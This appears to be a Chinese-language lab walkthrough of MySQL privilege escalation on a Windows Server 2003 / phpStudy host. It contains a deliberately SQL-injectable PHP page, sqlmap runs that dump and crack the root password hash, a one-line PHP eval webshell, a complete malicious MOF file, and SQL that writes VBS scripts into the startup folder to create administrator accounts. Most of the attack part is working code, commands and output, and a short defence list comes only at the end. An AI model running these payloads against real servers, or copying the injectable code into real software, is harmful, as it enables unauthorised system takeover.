一、内容说明

1、什么时候使用?

通过网站漏洞拿到webshell后,利用系统漏洞无法提权时(或目标操作系统无漏洞无法提权),可利用目标服务器网站的数据库提权,以达到操作系统的命令的目的!

2、满足数据库提权的条件

①获取数据库的最高权限的账号和密码;
②目标数据库对目录未做限制;
③目标数据库允许远程连接;

二、运行环境

(1)目标主机

名称
操作系统 Windows Server 2003
中间件 phpStudy 2016
PHP版本 5.4.45
Apache 2.4

(2)攻击机

名称
操作系统 Kali Linux 2023.2
Sqlmap 1.7.2

备注: Sqlmap是Kali中默认自带的工具,无需安装。需要最新版本,可在Sqlmap官网中下载。

三、账号密码获取

此部分是为了让数据库满足提权条件而设立的,在后续的提权操作中方便演示效果。

1、让数据库对目录不作限制

(1)限制类型

  • 默认安全状态(值为 NULL)
    ①参数值:NULL
    ②含义
    此为该参数的默认设置。它表示完全禁止​ MySQL 服务器进行文件的导入和导出操作。
    ③对提权的影响
    在这种设置下,尝试通过 SELECT … INTO OUTFILE或 LOAD DATA INFILE等语句进行文件读写以完成提权(例如上传UDF动态链接库)的操作将无法进行。

  • 受限路径状态(值为特定目录,如 C:\tmp)
    ①参数值
    一个具体的目录路径,例如 C:\tmp(在Windows配置文件中,路径常以双反斜杠表示)。
    ②含义
    此设置将文件的导入和导出操作严格限制在参数所指定的目录及其子目录下。
    ③对提权的影响
    提权操作中所需的文件只能写入或读取该指定目录。如果提权所需的目标路径(如MySQL插件目录 plugin_dir或系统目录)不在允许的范围内,提权将失败。

  • 无限制状态(值为空字符串)
    ①参数值:‘’(空字符串)
    ②含义
    此设置表示不施加任何路径限制,允许进行文件导入和导出操作。
    ③对提权的影响
    这是成功进行文件相关提权(如写入UDF文件)的理想条件。在此设置下,攻击者可以尝试将文件写入任何有权限的目录,从而绕过路径限制,显著增加了提权成功的可能性。

(2)开始配置

Step1:打开my.ini文件,配置地址如下:

C:\phpStudy\MySQL\my.ini

Step2:在my.ini文件中的"[mysqld]"部分添加不受限制的目录:

[mysqld]
# 允许文件在任意位置导入导出
secure_file_priv=""
# 让所有IP都能访问数据库
bind-address = 0.0.0.0

说明: 如果开启了服务,需要重启!

2、开启MySQL的远程连接

Step1:打开MySQL命令行
在这里插入图片描述

Step2:输入密码后,执行如下命令,开启远程连接

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
mysql> flush privileges;

在这里插入图片描述

3、创建SQL注入页面

作用: 在目标主机(Win server 2003)中放入一个能模拟SQL注入的Web端代码,方便后续进行MySQL提权操作。

Step1:在PHPstudy的C:\phpStudy\WWW目录下放置如下代码:

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// 1. 获取用户输入,未做任何过滤
$id = $_GET['id'];

// 2. 连接数据库(使用旧的mysql扩展以兼容PHP 5.1,或改用mysqli但不用预处理)
$conn = mysqli_connect("127.0.0.1", "root", "root", "abc");

if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}
echo "连接成功!<br>";

// 设置字符集
mysqli_set_charset($conn, "gbk");

// 3. 【关键漏洞点】直接将$id拼接到SQL语句中,造成注入
$sql = "SELECT * FROM user WHERE id = $id";

// 打印出执行的SQL语句,方便观察payload
echo "执行的SQL语句: " . htmlspecialchars($sql) . "<br><hr>";

$result = mysqli_query($conn, $sql);

if ($result && mysqli_num_rows($result) > 0) {
    while($row = mysqli_fetch_array($result)) {
        echo "用户ID: ".$row['id']."<br>";
        echo "用户名: ".$row['username']."<br>";
        echo "用户密码: ".$row['password']."<br>";
        echo "用户邮箱: ".$row['email']."<br><hr>";
    }
} else {
    echo "没有找到用户或查询失败。<br>";
}

mysqli_close($conn);
?>

将以上代码命名为sql.php,得到的访问地址:

http://192.168.179.144:90/sql.php?id=1

在这里插入图片描述

4、获取数据库账号密码

说明: 此部分的操作均在Kali环境下进行。

Step1:利用sqlmap工具在sql.php页面中中爆出注入点

$ python /usr/share/sqlmap/sqlmap.py -u "http://192.168.179.144:90/sql.php?id=1"

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:54:06 /2026-03-04/

[06:54:06] [INFO] resuming back-end DBMS 'mysql' 
[06:54:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
# 存在如下SQL注入
Parameter: id (GET)
	# 布尔盲注
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 9601=9601
	# 时间盲注
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 6905 FROM (SELECT(SLEEP(5)))jufe)
	# 联合查询注入
    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x7162716271,0x5374684c41534841746c67747970755a75735646597671414141686e544d6a4c485a467852484f57,0x71786b7a71),NULL,NULL#
---
[06:54:06] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.4.45
back-end DBMS: MySQL >= 5.0.12
[06:54:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.179.144'                                                               
[06:54:06] [WARNING] your sqlmap version is outdated

[*] ending @ 06:54:06 /2026-03-04/

通过Sqlmap的使用,发现sql.php存在SQL注入漏洞。接下来可以获取数据库名、表名等信息。

Step2:查看目标网站的数据库名

$ python /usr/share/sqlmap/sqlmap.py -u "http://192.168.179.144:90/sql.php?id=1" --dbs

......
available databases [9]:
# 得到了如下数据库名称
[*] abc
[*] bwapp
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] test
[*] ultrax

[06:58:26] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.179.144'                                                               
[06:58:26] [WARNING] your sqlmap version is outdated

[*] ending @ 06:58:26 /2026-03-04/

Step3:查看dvwa站点的数据库表名

$ python /usr/share/sqlmap/sqlmap.py -u "http://192.168.179.144:90/sql.php?id=1" -D mysql --tables

......
Database: mysql
[24 tables]
+---------------------------+
| user                      |
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
+---------------------------+

[07:00:00] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.179.144'                                                               
[07:00:00] [WARNING] your sqlmap version is outdated

[*] ending @ 07:00:00 /2026-03-04/

Step4:查看具体的数据库账号和密码

$ python /usr/share/sqlmap/sqlmap.py -u "http://192.168.179.144:90/sql.php?id=1" -D mysql -T user --columns --dump

Database: mysql
Table: user
[42 columns]
+------------------------+-----------------------------------+
| Column                 | Type                              |
+------------------------+-----------------------------------+
| User                   | char(16)                          |
| Alter_priv             | enum('N','Y')                     |
| Alter_routine_priv     | enum('N','Y')                     |
| authentication_string  | text                              |
| Create_priv            | enum('N','Y')                     |
| Create_routine_priv    | enum('N','Y')                     |
| Create_tablespace_priv | enum('N','Y')                     |
| Create_tmp_table_priv  | enum('N','Y')                     |
| Create_user_priv       | enum('N','Y')                     |
| Create_view_priv       | enum('N','Y')                     |
| Delete_priv            | enum('N','Y')                     |
| Drop_priv              | enum('N','Y')                     |
| Event_priv             | enum('N','Y')                     |
| Execute_priv           | enum('N','Y')                     |
| File_priv              | enum('N','Y')                     |
| Grant_priv             | enum('N','Y')                     |
| Host                   | char(60)                          |
| Index_priv             | enum('N','Y')                     |
| Insert_priv            | enum('N','Y')                     |
| Lock_tables_priv       | enum('N','Y')                     |
| max_connections        | int(11) unsigned                  |
| max_questions          | int(11) unsigned                  |
| max_updates            | int(11) unsigned                  |
| max_user_connections   | int(11) unsigned                  |
| Password               | char(41)                          |
| plugin                 | char(64)                          |
| Process_priv           | enum('N','Y')                     |
| References_priv        | enum('N','Y')                     |
| Reload_priv            | enum('N','Y')                     |
| Repl_client_priv       | enum('N','Y')                     |
| Repl_slave_priv        | enum('N','Y')                     |
| Select_priv            | enum('N','Y')                     |
| Show_db_priv           | enum('N','Y')                     |
| Show_view_priv         | enum('N','Y')                     |
| Shutdown_priv          | enum('N','Y')                     |
| ssl_cipher             | blob                              |
| ssl_type               | enum('','ANY','X509','SPECIFIED') |
| Super_priv             | enum('N','Y')                     |
| Trigger_priv           | enum('N','Y')                     |
| Update_priv            | enum('N','Y')                     |
| x509_issuer            | blob                              |
| x509_subject           | blob                              |
+------------------------+-----------------------------------+

[07:01:45] [INFO] fetching columns for table 'user' in database 'mysql'
[07:01:45] [INFO] fetching entries for table 'user' in database 'mysql'
[07:01:45] [INFO] recognized possible password hashes in column 'Password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]  # 直接回车

do you want to crack them via a dictionary-based attack? [Y/n/q] y  # 选y,使用基于字典的攻击方式来破解
[07:02:12] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[07:02:53] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[07:03:07] [INFO] starting dictionary-based cracking (mysql_passwd)
[07:03:07] [INFO] starting 4 processes 
[07:03:17] [INFO] cracked password 'root' for hash '*81f5e21e35407d884a6cd4a731aebfb6af209e1b'                                                                                  
Database: mysql                                                                        
Table: user
[3 entries]
# 如下内容中看到了root用户的密码为root
+-----------+--------+---------+--------------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+
| Host      | User   | plugin  | Password                                         | ssl_type | Drop_priv | File_priv | Alter_priv | Event_priv | Grant_priv | Index_priv | Super_priv | ssl_cipher | Create_priv | Delete_priv | Insert_priv | Reload_priv | Select_priv | Update_priv | max_updates | x509_issuer | Execute_priv | Process_priv | Show_db_priv | Trigger_priv | x509_subject | Shutdown_priv | max_questions | Show_view_priv | References_priv | Repl_slave_priv | max_connections | Create_user_priv | Create_view_priv | Lock_tables_priv | Repl_client_priv | Alter_routine_priv | Create_routine_priv | max_user_connections | Create_tmp_table_priv | authentication_string | Create_tablespace_priv |
+-----------+--------+---------+--------------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+
| localhost | root   | <blank> | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B (root) | <blank>  | Y         | Y         | Y          | Y          | Y          | Y          | Y          | <blank>    | Y           | Y           | Y           | Y           | Y           | Y           | 0           | <blank>     | Y            | Y            | Y            | Y            | <blank>      | Y             | 0             | Y              | Y               | Y               | 0               | Y                | Y                | Y                | Y                | Y                  | Y                   | 0                    | Y                     | <blank>               | Y                      |
| 127.0.0.1 | root   | <blank> | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B (root) | <blank>  | Y         | Y         | Y          | Y          | Y          | Y          | Y          | <blank>    | Y           | Y           | Y           | Y           | Y           | Y           | 0           | <blank>     | Y            | Y            | Y            | Y            | <blank>      | Y             | 0             | Y              | Y               | Y               | 0               | Y                | Y                | Y                | Y                | Y                  | Y                   | 0                    | Y                     | <blank>               | Y                      |
| ::1       | root   | <blank> | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B (root) | <blank>  | Y         | Y         | Y          | Y          | Y          | Y          | Y          | <blank>    | Y           | Y           | Y           | Y           | Y           | Y           | 0           | <blank>     | Y            | Y            | Y            | Y            | <blank>      | Y             | 0             | Y              | Y               | Y               | 0               | Y                | Y                | Y                | Y                | Y                  | Y                   | 0                    | Y                     | <blank>               | Y                      |
+-----------+--------+---------+--------------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+

[07:03:26] [INFO] table 'mysql.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.179.144/dump/mysql/user.csv'                                           
[07:03:26] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.179.144'                                                               
[07:03:26] [WARNING] your sqlmap version is outdated

[*] ending @ 07:03:26 /2026-03-04/

四、MOF提权

1、MOF提权原理

MOF提权是一种主要适用于Windows Server 2003等旧版本系统的提权方法。核心原理如下:

  • 特殊目录
    C:/Windows/system32/wbem/mof/目录下的 .mof文件会被系统定期(约间隔几秒)自动执行。
  • 利用方式
    .mof文件可包含VBS脚本。通过该脚本,可以调用系统命令行执行任意命令。
  • 前提条件
    攻击者需具备向该目录写入文件的权限(例如,通过高权限的MySQL账户)。若能成功写入恶意.mof文件,系统将在短时间内自动执行其中的命令,从而实现提权。

2、操作方法

(1)方法一:使用MySQL综合利用工具

Step1:如果说数据库允许远程连接:使用mysql综合利用工具直接调用mof模块进行提权
在这里插入图片描述
Step2:执行新增用户的操作

#输入命令添加账号密码:
$ net user 666 666 /add
#输入命令将666账号加入管理员组:
$ net localgroup administrators 666 /add

在这里插入图片描述
Step3:在目标机的CMD中查看是否已新增用户
在这里插入图片描述
从图片中的结果已经看出,新增用户已经成功!

(2)方法二:利用Webshell上传脚本

Step1:假设已经利用其它漏洞上传了一个一句话木马

# 此脚本命名为a2.php
<?php @eval($_POST[cmd]);  ?>

Step2:在蚁剑中配置连接,并测试成功!
在这里插入图片描述

Step3:编辑脚本命名为moon.mof,并上传至目标机

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
 
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
 };
 
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

Step4:在创建并成功连入目标机的连接右击“数据操作”
在这里插入图片描述
Step5:添加数据连接,并测试成功!
在这里插入图片描述
Step6:输入命令并执行,具体操作请看图

此为执行如下命令后,会出现目标服务器会每隔5min新建一个账号admin。

select load_file('C:\\phpStudy\\WWW\\dz\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';

需要的操作:

在这里插入图片描述

查看效果:

在这里插入图片描述

Step7:Mof清除(在目标机中操作)

# 停止winmgmt服务:
$ net stop winmgmt
# 删除Repository文件夹:
$ rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除mof文件:
$ del C:\Windows\system32\wbem\mof\good\moon.mof /F /S
# 删除创建的用户:
$ net user admin /delete
# 重新启动服务:
$ net start winmgmt

执行效果:

在这里插入图片描述

五、启动项提权

启动项就是电脑重启之后会自动加载运行的项。

1、说明

查看启动项的方法

1,win+R键或者电脑-运行,输入msconfig即可查看电脑开机自启动的项目
2,直接在我的电脑里面搜索“启动”这个文件夹,打开文件夹查看里面的相关文件

启动项提权的思路

也就是利用数据库的最高账号(root)管理权限去执行命令写VBS脚本,然后导出到操作系统的启动项中。

2、具体操作

说明: 如下操作均在蚂蚁剑来或MySQL综合利用工具中MOF的操作。

Step1:删除test数据库(数据库名自定义)

mysql> drop database test;

Step2:创建一个test数据库

mysql> create database test;

Step3:选择test数据库

mysql> use test;

Step4:以CMD文本格式创建表a

mysql> create table a (cmd text);

Step5:在表a中插入名为wscript.shell的文件

mysql> insert into a values ("set wshshell=createobject (""wscript.shell"")");

Step6:在表a中插入值运行cmd命令,添加用户

mysql> insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");

Step7:在往表a中插入值运行cmd命令,将用户加入到管理员组

mysql> insert intoa values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");

Step8:查询表a中的值,主要是检查前面的操作

mysql> select * from a;

Step9:将表a的值添加到Windows系统的启动项,命名为best.vbs

mysql> select * from a into outfile"C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\b.vbs";

执行效果:

在这里插入图片描述

Step10:重启目标服务器之后,查看效果

在这里插入图片描述

六、安全防御

1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并严格控制好权限。
3、三权分立,部门之间各自分配权限(开发,运维,安全)
4、及时升级数据库补丁。
5、安装WAF,屏蔽危险端口。
6、购买数据库审计设备。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐